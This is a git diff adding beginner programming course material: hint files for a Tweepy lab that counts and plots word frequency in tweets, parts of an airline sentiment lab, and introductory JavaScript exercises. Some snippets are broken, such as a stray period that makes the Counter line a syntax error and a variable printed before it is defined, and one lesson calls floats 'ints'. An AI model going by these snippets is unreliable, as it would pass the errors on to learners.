diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/21.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/21.md
new file mode 100644
index 00000000..ec274c4f
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/21.md
@@ -0,0 +1 @@
+Declare the `search_term` we want to search for in the Twitter API.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/211.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/211.md
new file mode 100644
index 00000000..94588010
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/211.md
@@ -0,0 +1,7 @@
+This is how you should declare the `search_term`:
+
+```
+search_term = "#twitter+api -filter:retweets"
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/22.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/22.md
new file mode 100644
index 00000000..5080c0e7
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/22.md
@@ -0,0 +1 @@
+Use Tweepy's `Cursor` object to handle pagination and pass in parameters like the `API search`, `query`, `language` and `time duration`. You can set the number of results you extract to 1000 and store the entire result in a variable `tweets`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/221.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/221.md
new file mode 100644
index 00000000..e67d0cc0
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/221.md
@@ -0,0 +1,10 @@
+This is how you can declare the `Cursor` object:
+
+```python
+ tweets = tw.Cursor(api.search,
+ q=search_term,
+ lang="en",
+ since='2018-11-01').items(1000)
+```
+
+####
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/23.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/23.md
new file mode 100644
index 00000000..6e655f32
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/23.md
@@ -0,0 +1,3 @@
+Now we can store the extracted tweets **text** in a list `all_tweets`.
+
+Once completed try to print out the first few results of `all_tweets`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/231.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/231.md
new file mode 100644
index 00000000..dabf1dc6
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/231.md
@@ -0,0 +1,8 @@
+This is how you should extract all of the tweets **text** and then print the first few values of `all_values`.
+
+```python
+all_tweets = [tweet.text for tweet in tweets]
+print(all_tweets_no_urls[:5])
+```
+
+The above is an example of Python **List Comprehension** which essentially means we are writing an **iteration loop within a list** declaration. We use **tweets.text** to extract only the text of the tweets rather than the whole list of attributes.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/24.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/24.md
new file mode 100644
index 00000000..159da0d0
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/24.md
@@ -0,0 +1,3 @@
+Lets move on to filtering the tweets and remove any potential URL's in them using the `remove_url` function and store them in a list `tweets_no_url`.
+
+Print out the first few results of `tweets_no_url.`
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/241.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/241.md
new file mode 100644
index 00000000..28addedc
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/241.md
@@ -0,0 +1,8 @@
+This is how you can filter the tweets and removed url's in the tweets.
+
+```python
+ all_tweets_no_urls = [remove_url(tweet) for tweet in all_tweets]
+ print(all_tweets_no_urls[:5])
+```
+
+Here we are using **List Comprehension** and iterating over every element in the `all_tweets` list and passing the `remove_url()` function we wrote over each tweet.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/31.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/31.md
new file mode 100644
index 00000000..ba4e24bd
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/31.md
@@ -0,0 +1,3 @@
+Define a function `remove_url` which takes input as `txt` and use the regular expression library `re` to replace all url's in tweets with an empty string. Consider using the `sub()` function.
+
+Remember that we have to return the tweet without a url in the end.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/311.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/311.md
new file mode 100644
index 00000000..ff4a6095
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/311.md
@@ -0,0 +1,8 @@
+This is how your `remove_url` function looks:
+
+```python
+def remove_url(txt):
+ return " ".join(re.sub("([^0-9A-Za-z \t])|(\w+:\/\/\S+)", "", txt).split())
+```
+
+##
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/41.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/41.md
new file mode 100644
index 00000000..aae37b49
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/41.md
@@ -0,0 +1,3 @@
+Generate a list of lists containing the list of lowercased words in each tweet. Use list comprehension to iterate over tweets and the `lower()` and `split()` functions in Python.
+
+Print out the first few elements of the list `words_in_tweet`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/411.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/411.md
new file mode 100644
index 00000000..229bd538
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/411.md
@@ -0,0 +1,8 @@
+This is how you can generate a list of lists containing the list of lowercased words in each tweet:
+
+```python
+ words_in_tweet = [tweet.lower().split() for tweet in all_tweets_no_urls]
+ print(words_in_tweet[:2])
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/42.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/42.md
new file mode 100644
index 00000000..1bcf651a
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/42.md
@@ -0,0 +1 @@
+"Chain" or flatten this list of lists into a single list `all_words_no_urls` using Python's library `itertools`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/421.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/421.md
new file mode 100644
index 00000000..0312cebc
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/421.md
@@ -0,0 +1,7 @@
+This is how you can chain or flatten the list of lists into a single list:
+
+```python
+ all_words_no_urls = list(itertools.chain(*words_in_tweet))
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/43.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/43.md
new file mode 100644
index 00000000..75a42e7d
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/43.md
@@ -0,0 +1,3 @@
+Use Python's `collections` library to create a `Counter` to keep track of the frequency of each occurring word in the tweets. Store into a dictionary `count_no_urls`.
+
+Print out the first 15 values of the dictionary to make sure you got the correct output.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/431.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/431.md
new file mode 100644
index 00000000..0c8ef700
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/431.md
@@ -0,0 +1,8 @@
+This is how you can create and use the Counter to keep track of the frequency of each occuring word in the tweets and then subsequently printed the values:
+
+```python
+counts_no_urls = collections.Counter(all_words_no_urls).
+print(counts_no_urls.most_common(15))
+```
+
+####
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/44.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/44.md
new file mode 100644
index 00000000..3428e5f5
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/44.md
@@ -0,0 +1 @@
+Use the `pandas` library to store all of this data in a dataframe `clean_tweets_no_url`. Add only the top 15 occuring words to the dataframe. Move ahead to print out the `head` of the dataframe to make sure you got the right answer.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/441.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/441.md
new file mode 100644
index 00000000..73f8f9f1
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/441.md
@@ -0,0 +1,9 @@
+This is how you can use the `pandas` library to store the top 15 frequently occuring tweets in a dataframe:
+
+```python
+ clean_tweets_no_urls = pd.DataFrame(counts_no_urls.most_common(15),
+ columns=['words', 'count'])
+ print(clean_tweets_no_urls.head())
+```
+
+When we create a dataframe, we usually pass in the columns names we want as well.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/51.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/51.md
new file mode 100644
index 00000000..8f0a68f6
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/51.md
@@ -0,0 +1 @@
+Now our goal is to use this dataframe and plot the data into a horizontal bar graph of the 15 most frequently occuring tweets. Lets use the Python visualization library `matplotlib` to generate the plot. Don't forget to sort the columns by descending frequency, as well as setting the size values of `fig` and `ax`.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/511.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/511.md
new file mode 100644
index 00000000..c7bd1f8f
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/511.md
@@ -0,0 +1,10 @@
+This is how you can generate the plot of the bar plot:
+
+```python
+ fig, ax = plt.subplots(figsize=(8, 8))
+ clean_tweets_no_urls.sort_values(by='count').plot.barh(x='words',
+ y='count',
+ ax=ax,
+ color="purple")
+```
+
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/52.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/52.md
new file mode 100644
index 00000000..99a84ebe
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/52.md
@@ -0,0 +1 @@
+Add a title to your plot for additional clarity, and once completed you can display your bar graph. This concludes our bar graph visualization using the Tweepy library.
\ No newline at end of file
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/522.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/522.md
new file mode 100644
index 00000000..74badec6
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/522.md
@@ -0,0 +1,7 @@
+This is how you can add the title and display the graph:
+
+```python
+ ax.set_title("Common Words Found in Tweets (Including All Words)")
+ plt.show()
+```
+
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/README.md b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/README.md
new file mode 100644
index 00000000..ad1d75b6
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/README.md
@@ -0,0 +1,319 @@
+# github_id
+18
+
+# name
+Twitter Word Frequency
+
+# description
+We'll be visualizing how often words are used on Twitter using tweepy.
+
+# summary
+Words with more than 5% frequency will be plotted, and everything less will be listed under the 'other' section. Using the API to gather the needed data, tweepy will be able to generate a chart showing how often certain hashtags are used.
+
+# difficulty
+Hard
+
+# image
+
+
+# image_folder
+Bit\curriculum\Module_Twitter_API\labs\Week 2\Twitter Word Frequency
+
+# cards
+
+## 1
+
+### name
+Introduction
+
+### order
+1
+
+### gems
+
+
+## 2
+
+### name
+Finding Tweets
+
+### order
+2
+
+### gems
+
+
+## 3
+
+### name
+Cleaning Tweets
+
+### order
+3
+
+### gems
+
+
+## 4
+
+### name
+Calculating Word Frequency
+
+### order
+4
+
+### gems
+
+
+## 5
+
+### name
+Plotting Word Frequency
+
+### order
+5
+
+### gems
+
+
+# steps
+
+## 1-1 Step 1
+
+### name
+Get Keys
+
+### md_content
+
+
+## 1-2 Step 1
+
+### name
+Registering Our App
+
+### md_content
+
+
+## 1-2 Step 2
+
+### name
+Storing Access Tokens
+
+### md_content
+
+
+## 1-3 Step 1
+
+### name
+Call Twitter API
+
+### md_content
+
+
+## 2-1 Step 1
+
+### name
+Declare Search Term
+
+### md_content
+
+
+## 2-2 Step 1
+
+### name
+Declare Cursor
+
+### md_content
+
+
+## 2-3 Step 1
+
+### name
+Store Tweets
+
+### md_content
+
+
+## 2-4 Step 1
+
+### name
+Filter The Tweets
+
+### md_content
+
+
+## 3-1 Step 1
+
+### name
+Define Remove_URL
+
+### md_content
+
+
+## 4-1 Step 1
+
+### name
+Generate List of Lovercase Words
+
+### md_content
+
+
+## 4-2 Step 1
+
+### name
+Combine Into One List of Lists
+
+### md_content
+
+
+## 4-3 Step 1
+
+### name
+Count Frequency of Words
+
+### md_content
+
+
+## 4-4 Step 1
+
+### name
+Store Top 15 Words
+
+### md_content
+
+
+## 5-1 Step 1
+
+### name
+Generate Graph
+
+### md_content
+
+
+## 5-2 Step 1
+
+### name
+Title The Graph
+
+### md_content
+
+
+## 1-1-1 Step 1
+
+### name
+Set Up Credentials
+
+### md_content
+
+
+## 1-2-1 Step 1
+
+### name
+Create OAuth Handler
+
+### md_content
+
+
+## 1-2-2 Step 1
+
+### name
+Store Access Tokens
+
+### md_content
+
+
+## 1-3-1 Step 1
+
+### name
+Call Twitter API
+
+### md_content
+
+
+## 2-1-1 Step 1
+
+### name
+Declare Search Term
+
+### md_content
+
+
+## 2-2-1 Step 1
+
+### name
+Declare Cursor
+
+### md_content
+
+
+## 2-3-1 Step 1
+
+### name
+Extract Tweets
+
+### md_content
+
+
+## 2-4-1 Step 1
+
+### name
+Filter The Tweets
+
+### md_content
+
+
+## 3-1-1 Step 1
+
+### name
+Define Remove_URL
+
+### md_content
+
+
+## 4-1-1 Step 1
+
+### name
+Generate List of Lowercase Words
+
+### md_content
+
+
+## 4-2-1 Step 1
+
+### name
+Combine Into List of Lists
+
+### md_content
+
+
+## 4-3-1 Step 1
+
+### name
+Using Cursor
+
+### md_content
+
+
+## 4-4-1 Step 1
+
+### name
+Store Top 15 Words
+
+### md_content
+
+
+## 5-1-1 Step 1
+
+### name
+Generate Plot
+
+### md_content
+
+
+## 5-2-2 Step 1
+
+### name
+Title and Display Graph
+
+### md_content
+
diff --git a/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/images/w2lab.jpg b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/images/w2lab.jpg
new file mode 100644
index 00000000..85243029
Binary files /dev/null and b/Module_Twitter_API/labs/Week 2/Twitter Word Frequency/images/w2lab.jpg differ
diff --git a/Module_Twitter_API/labs/Week 3/Airline Sentiment Analysis/511.md b/Module_Twitter_API/labs/Week 3/Airline Sentiment Analysis/511.md
new file mode 100644
index 00000000..2070bd47
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 3/Airline Sentiment Analysis/511.md
@@ -0,0 +1,20 @@
+# Setting Up Bars [Continued]
+
+ Lets intialize the figure for our bar graph.
+
+`plt.figure() `
+
+ We add a line for the number of days .
+
+ `N = len(dates)`
+
+ Then we convert the set of dates from findDays() to a list
+
+ `ind =np.array(list(dates))`
+
+ And now we finally start plotting bar graph
+
+ `plt.bar(ind, df.loc['total'], color='m', label='Men means')`
+
+ `plt.ylabel('Total Tweets Pertaining to United') `
+
diff --git a/Module_Twitter_API/labs/Week 3/Airline Sentiment Analysis/61.md b/Module_Twitter_API/labs/Week 3/Airline Sentiment Analysis/61.md
new file mode 100644
index 00000000..2b04f984
--- /dev/null
+++ b/Module_Twitter_API/labs/Week 3/Airline Sentiment Analysis/61.md
@@ -0,0 +1,26 @@
+# `main()`
+
+
+
+Add a line to intialize our dataframes:
+
+` us_df = init_dataframes()`
+
+And now get the data frame and dates
+
+` df, dates = findDays(1000)`
+
+And now show the graph
+
+`produce_graph(df, dates)`
+
+In conclusion:
+
+```python
+def main():
+ us_df = init_dataframes()
+ df, dates = findDays(1000)
+ produce_graph(df, dates)
+main()
+```
+
diff --git a/Node_Week_1/.DS_Store b/Node_Week_1/.DS_Store
new file mode 100644
index 00000000..8aa4ab2d
Binary files /dev/null and b/Node_Week_1/.DS_Store differ
diff --git a/Node_Week_1/javascripting/1.md b/Node_Week_1/javascripting/1.md
new file mode 100644
index 00000000..088566c0
--- /dev/null
+++ b/Node_Week_1/javascripting/1.md
@@ -0,0 +1,46 @@
+## Creat Your Folder
+
+To keep things organized, let's create a folder for this workshop.
+
+Run this command to make a directory called `javascripting` (or something else if you like):
+
+```bash
+mkdir javascripting
+```
+
+Change directory into the `javascripting` folder:
+
+```bash
+cd javascripting
+```
+
+Create a file named `introduction.js`:
+
+```bash
+touch introduction.js
+```
+
+Or if you're on **Windows**:
+```bash
+type NUL > introduction.js
+```
+ (**`type` is part of the command!**)
+
+Open the file in your favorite editor, and add this text:
+
+```js
+console.log('hello')
+```
+
+Save the file, then check to see if your program is correct by running this command:
+
+```bash
+javascripting verify introduction.js
+```
+
+By the way, throughout this tutorial, you can give the file you work with any name you like, so if you want to use something like `catsAreAwesome.js` file for every exercise, you can do that. Just make sure to run:
+
+```bash
+javascripting verify catsAreAwesome.js
+```
+
diff --git a/Node_Week_1/javascripting/2.md b/Node_Week_1/javascripting/2.md
new file mode 100644
index 00000000..e5e766ef
--- /dev/null
+++ b/Node_Week_1/javascripting/2.md
@@ -0,0 +1,39 @@
+## Variable
+
+A variable is a name that can **reference** a specific value. Variables are declared using `let` followed by the variable's name.
+
+Here's an example:
+
+```js
+let example
+```
+
+The above variable is **declared**, but it **isn't defined** (it does not yet reference a specific value).
+
+Here's an example of defining a variable, making it reference a specific value:
+
+```js
+const example = 'some string'
+```
+
+**Name** of the variable: example
+
+**Value** of the variable: `'some string'`
+
+# NOTE
+
+A variable is **declared** using `let` and uses the **equals sign** to **define** the value that it references. This is colloquially known as "Making a variable equal a value".
+
+## The challenge:
+
+Create a file named `variables.js`.
+
+In that file declare a variable named `example`.
+
+**Make the variable `example` equal to the value `'some string'`.**
+
+Then use `console.log()` to print the `example` variable to the console.
+
+Check to see if your program is correct by running this command:
+
+`javascripting verify variables.js`
diff --git a/Node_Week_1/javascripting/3.md b/Node_Week_1/javascripting/3.md
new file mode 100644
index 00000000..9b06a381
--- /dev/null
+++ b/Node_Week_1/javascripting/3.md
@@ -0,0 +1,33 @@
+## String
+
+A **string** is a sequence of characters. A ***character*** is, roughly
+speaking, a written symbol. Examples of characters are letters, numbers,
+punctuation marks, and spaces.
+
+String values are surrounded by either **single or double quotation marks**.
+
+```js
+'this is a string'
+
+"this is also a string"
+```
+
+## NOTE
+
+Try to stay consistent. In this workshop we'll only use single quotation marks.
+
+## The challenge:
+
+For this challenge, create a file named `strings.js`.
+
+In that file create a variable named `someString` like this:
+
+```js
+const someString = 'this is a string'
+```
+
+Use `console.log` to print the variable **someString** to the terminal.
+
+Check to see if your program is correct by running this command:
+
+`javascripting verify strings.js`
diff --git a/Node_Week_1/javascripting/4.md b/Node_Week_1/javascripting/4.md
new file mode 100644
index 00000000..e970a428
--- /dev/null
+++ b/Node_Week_1/javascripting/4.md
@@ -0,0 +1,39 @@
+## String Length
+
+You will often need to know **how many** characters are in a string.
+
+For this you will use the `.length` property. Here's an example:
+
+```js
+const example = 'example string'
+example.length
+```
+
+Result:
+
+```js
+14
+```
+
+(' 'is also have a length of 1)
+
+## NOTE
+
+Make sure there is a period between `example` and `length`.
+
+The above code will return a **number** for the total number of characters in the string.
+
+
+## The challenge:
+
+Create a file named `string-length.js`.
+
+In that file, create a variable named `example`.
+
+**Assign the string `'example string'` to the variable `example`.**
+
+Use `console.log` to print the **length** of the string to the terminal.
+
+**Check to see if your program is correct by running this command:**
+
+`javascripting verify string-length.js`
diff --git a/Node_Week_1/javascripting/5.md b/Node_Week_1/javascripting/5.md
new file mode 100644
index 00000000..e970a428
--- /dev/null
+++ b/Node_Week_1/javascripting/5.md
@@ -0,0 +1,39 @@
+## String Length
+
+You will often need to know **how many** characters are in a string.
+
+For this you will use the `.length` property. Here's an example:
+
+```js
+const example = 'example string'
+example.length
+```
+
+Result:
+
+```js
+14
+```
+
+(' 'is also have a length of 1)
+
+## NOTE
+
+Make sure there is a period between `example` and `length`.
+
+The above code will return a **number** for the total number of characters in the string.
+
+
+## The challenge:
+
+Create a file named `string-length.js`.
+
+In that file, create a variable named `example`.
+
+**Assign the string `'example string'` to the variable `example`.**
+
+Use `console.log` to print the **length** of the string to the terminal.
+
+**Check to see if your program is correct by running this command:**
+
+`javascripting verify string-length.js`
diff --git a/Node_Week_1/javascripting/6.md b/Node_Week_1/javascripting/6.md
new file mode 100644
index 00000000..c66923e1
--- /dev/null
+++ b/Node_Week_1/javascripting/6.md
@@ -0,0 +1,17 @@
+## Number
+
+Numbers can be integers, like `2`, `14`, or `4353`, or they can be **ints**,
+also known as **floats**, like `3.14`, `1.5`, or `100.7893423`.
+Unlike Strings, Numbers **do not need to have quotes**.
+
+## The challenge:
+
+Create a file named `numbers.js`.
+
+In that file define a variable named `example` that references the integer `123456789`.
+
+Use `console.log()` to print that number to the terminal.
+
+Check to see if your program is correct by running this command:
+
+`javascripting verify numbers.js`
diff --git a/Node_Week_1/javascripting/7.md b/Node_Week_1/javascripting/7.md
new file mode 100644
index 00000000..fc1ea340
--- /dev/null
+++ b/Node_Week_1/javascripting/7.md
@@ -0,0 +1,43 @@
+## Rounding numbers
+
+We can do basic math using familiar operators like `+`, `-`, `*`, `/`, and `%`.
+
+For more complex math, we can use the `Math` object.
+
+In this challenge we'll use the `Math` object to round numbers.
+
+Use the `Math.round()` method to round the number up. This method rounds
+
+either up or down to the nearest integer.
+
+An example of using `Math.round()`:
+
+```js
+Math.round(0.5)
+```
+
+Result:
+
+```js
+1
+```
+
+## The challenge:
+
+Create a file named `rounding-numbers.js`.
+
+1.In that file define a variable named `roundUp` that references the float `1.5`.
+
+We will use the `Math.round()` method to round the number up.
+
+2.Define a second variable named `rounded` that references the output of the
+
+`Math.round()` method, passing in the `roundUp` variable as the argument.
+
+3.Use `console.log()` to print that number to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify rounding-numbers.js
+```
diff --git a/Node_Week_1/javascripting/8.md b/Node_Week_1/javascripting/8.md
new file mode 100644
index 00000000..574734cf
--- /dev/null
+++ b/Node_Week_1/javascripting/8.md
@@ -0,0 +1,34 @@
+## Number to String
+
+Sometimes you will need to turn a number into a string.
+
+In those instances you will use the `.toString()` method. Here's an example:
+
+```js
+let n = 256
+n = n.toString()
+```
+
+Result of n:
+
+```js
+'256'
+```
+
+
+
+## The challenge:
+
+Create a file named `number-to-string.js`.
+
+1.In that file define a variable named `n` that references the number `128`;
+
+2.Call the `.toString()` method on the `n` variable.
+
+3.Use `console.log()` to print the results of the `.toString()` method to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify number-to-string.js
+```
diff --git a/Node_Week_1/javascripting/array.md b/Node_Week_1/javascripting/array.md
new file mode 100644
index 00000000..bfbb1263
--- /dev/null
+++ b/Node_Week_1/javascripting/array.md
@@ -0,0 +1,29 @@
+## Array
+
+An array is a list of values. Here's an example:
+
+```js
+const pets = ['cat', 'dog', 'rat']
+```
+
+In this example:
+
+**Name** of the array: *pets*
+
+**Values** in array: *'cat', 'dog', 'rat'* (**Type of value**: *string*)
+
+***
+
+### The challenge:
+
+Create a file named `arrays.js`.
+
+In that file define a variable named `pizzaToppings` that references an array that contains three strings in this order: `tomato sauce, cheese, pepperoni`.
+
+Use `console.log()` to print the `pizzaToppings` array to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify arrays.js
+```
diff --git a/Node_Week_1/javascripting/array_filter.md b/Node_Week_1/javascripting/array_filter.md
new file mode 100644
index 00000000..30c5084c
--- /dev/null
+++ b/Node_Week_1/javascripting/array_filter.md
@@ -0,0 +1,53 @@
+## Filter array
+
+There are many ways to manipulate arrays.
+
+One common task is filtering arrays to only contain certain values.
+
+For this we can use the `.filter()` method.
+
+Here is an example:
+
+```js
+const pets = ['cat', 'dog', 'elephant']
+
+const filtered = pets.filter(function (pet) {
+ return (pet !== 'elephant')
+})
+```
+
+The result of filter is a new array `filtered` ,which contains :
+
+```js
+'cat', 'dog'
+```
+
+
+
+## The challenge:
+
+Create a file named `array-filtering.js`.
+
+In that file, define a variable named `numbers` that references this array:
+
+```js
+[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
+```
+
+Like above, define a variable named `filtered` that references the result of `numbers.filter()`.
+
+The function that you pass to the `.filter()` method will look something like this:
+
+```js
+function evenNumbers (number) {
+ return number % 2 === 0
+}
+```
+
+Pay close attention to the syntax used throughout your solution. Use `console.log()` to print the `filtered` array to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify array-filtering.js
+```
diff --git a/Node_Week_1/javascripting/array_value.md b/Node_Week_1/javascripting/array_value.md
new file mode 100644
index 00000000..1974a330
--- /dev/null
+++ b/Node_Week_1/javascripting/array_value.md
@@ -0,0 +1,59 @@
+## Array Value
+
+Array elements can be accessed through **index number**.
+
+Index number starts from zero to array's property length minus one.
+
+***
+
+Here is an example:
+
+
+```js
+const pets = ['cat', 'dog', 'rat']
+
+console.log(pets[0])
+```
+
+Result:
+
+```js
+'cat'
+```
+
+
+
+The above code will print the first element of `pets` array - string `cat`.
+
+Array elements must be accessed through only using **bracket notation**.
+
+Dot notation is invalid.
+
+Valid notation:
+
+```js
+console.log(pets[0])
+```
+
+Invalid notation:
+```
+console.log(pets.1);
+```
+
+## The challenge:
+
+Create a file named `accessing-array-values.js`.
+
+In that file, define array `food` :
+```js
+const food = ['apple', 'pizza', 'pear']
+```
+
+
+Use `console.log()` to print the `second` value of array to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify accessing-array-values.js
+```
diff --git a/Node_Week_1/javascripting/for_loop.md b/Node_Week_1/javascripting/for_loop.md
new file mode 100644
index 00000000..1be3cccb
--- /dev/null
+++ b/Node_Week_1/javascripting/for_loop.md
@@ -0,0 +1,59 @@
+## Statement : For loops
+
+For loops allow you to **repeatedly** run a block of code a certain number of times. This for loop logs to the console ten times:
+
+```js
+for (let i = 0; i < 10; i++) {
+ // log the numbers 0 through 9
+ console.log(i)
+}
+```
+
+Result:
+
+```js
+0
+1
+2
+3
+4
+5
+6
+7
+8
+9
+```
+
+***
+
+The first part, `let i = 0`, is run once at the beginning of the loop. The variable `i` is used to track how many times the loop has run.
+
+The second part, `i < 10`, is checked at the beginning of every loop iteration before running the code inside the loop. If the **statement is true**, the code **inside** the loop is **executed**. If it is **false**, then the **loop is complete**. The statement `i < 10;` indicates that the loop will continue as long as `i` is less than `10`.
+
+The final part, `i++`, is **executed at the end of every loop**. This increases the variable `i` by 1 after each loop. Once `i` reaches `10`, the loop will exit.
+
+## The challenge:
+
+Create a file named `for-loop.js`.
+
+In that file define a variable named `total` and make it equal the number `0`.
+
+Define a second variable named `limit` and make it equal the number `10`.
+
+Create a for loop with a variable `i` starting at 0 and increasing by 1 each time through the loop. The loop should run as long as `i` is less than `limit`.
+
+On each iteration of the loop, add the number `i` to the `total` variable. To do this, you can use this statement:
+
+```js
+total += i
+```
+
+When this statement is used in a for loop, it can also be known as _an accumulator_. Think of it like a cash register's running total while each item is scanned and added up. For this challenge, you have 10 items and they just happen to be increasing in price by 1 each item (with the first item free!).
+
+After the for loop, use `console.log()` to print the `total` variable to the terminal.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify for-loop.js
+```
diff --git a/Node_Week_1/javascripting/function.md b/Node_Week_1/javascripting/function.md
new file mode 100644
index 00000000..a2f9a523
--- /dev/null
+++ b/Node_Week_1/javascripting/function.md
@@ -0,0 +1,57 @@
+## Function
+
+A **function** is a block of code that ***1. takes input***, ***2. processes that input***, and then ***3. produces output***.
+
+Here is an example:
+
+```js
+function example (x) {
+ y = x * 2
+ return y
+}
+```
+
+*Name* of function: **example**
+
+*Input* (*argument*): **x**
+
+*processes*: **x*2**
+
+*output* (*return value*): **y**
+
+*****
+
+We can ***call*** that function like this :
+
+```js
+example(5)
+```
+
+The **result** is :
+
+```js
+10
+```
+
+The above example assumes that the `example` function will take a number as an argument –– as input –– and will return that number multiplied by 2.
+
+## The challenge:
+
+Create a file named `functions.js`.
+
+In that file, define a function named `eat` that takes an argument named `food`
+that is expected to be a string.
+
+Inside the function return the `food` argument like this:
+
+```js
+return food + ' tasted really good.'
+```
+
+Inside of the parentheses of `console.log()`, call the `eat()` function with the string `bananas` as the argument.
+
+Check to see if your program is correct by running this command:
+
+```bash
+javascripting verify functions.js
+```
diff --git a/Node_Week_1/javascripting/function_argument.md b/Node_Week_1/javascripting/function_argument.md
new file mode 100644
index 00000000..40527f52
--- /dev/null
+++ b/Node_Week_1/javascripting/function_argument.md
@@ -0,0 +1,43 @@
+## Function Argument
+
+A function can be declared to receive any number of arguments. Arguments can be from any type. An argument could be a string, a number, an array, an object and even another function.
+
+Here is an example:
+
+```js
+function example (firstArg, secondArg) {
+ console.log(firstArg, secondArg)
+}
+```
+
+**Argument**: `firstArg`, `secondArg`
+
+We can **call** that function with two arguments like this:
+
+```js
+example('hello', 'world')
+```
+
+Result:
+
+```js
+hello world
+```
+
+## The challenge:
+
+Create a file named `function-arguments.js`.
+
+In that file, define a function named `math` that takes three arguments. It's important for you to understand that arguments names are only used to reference them.
+
+Name each argument as you like.
+
+Within the `math` function, return the value obtained from multiplying the second and third arguments and adding that result to the first argument.
+
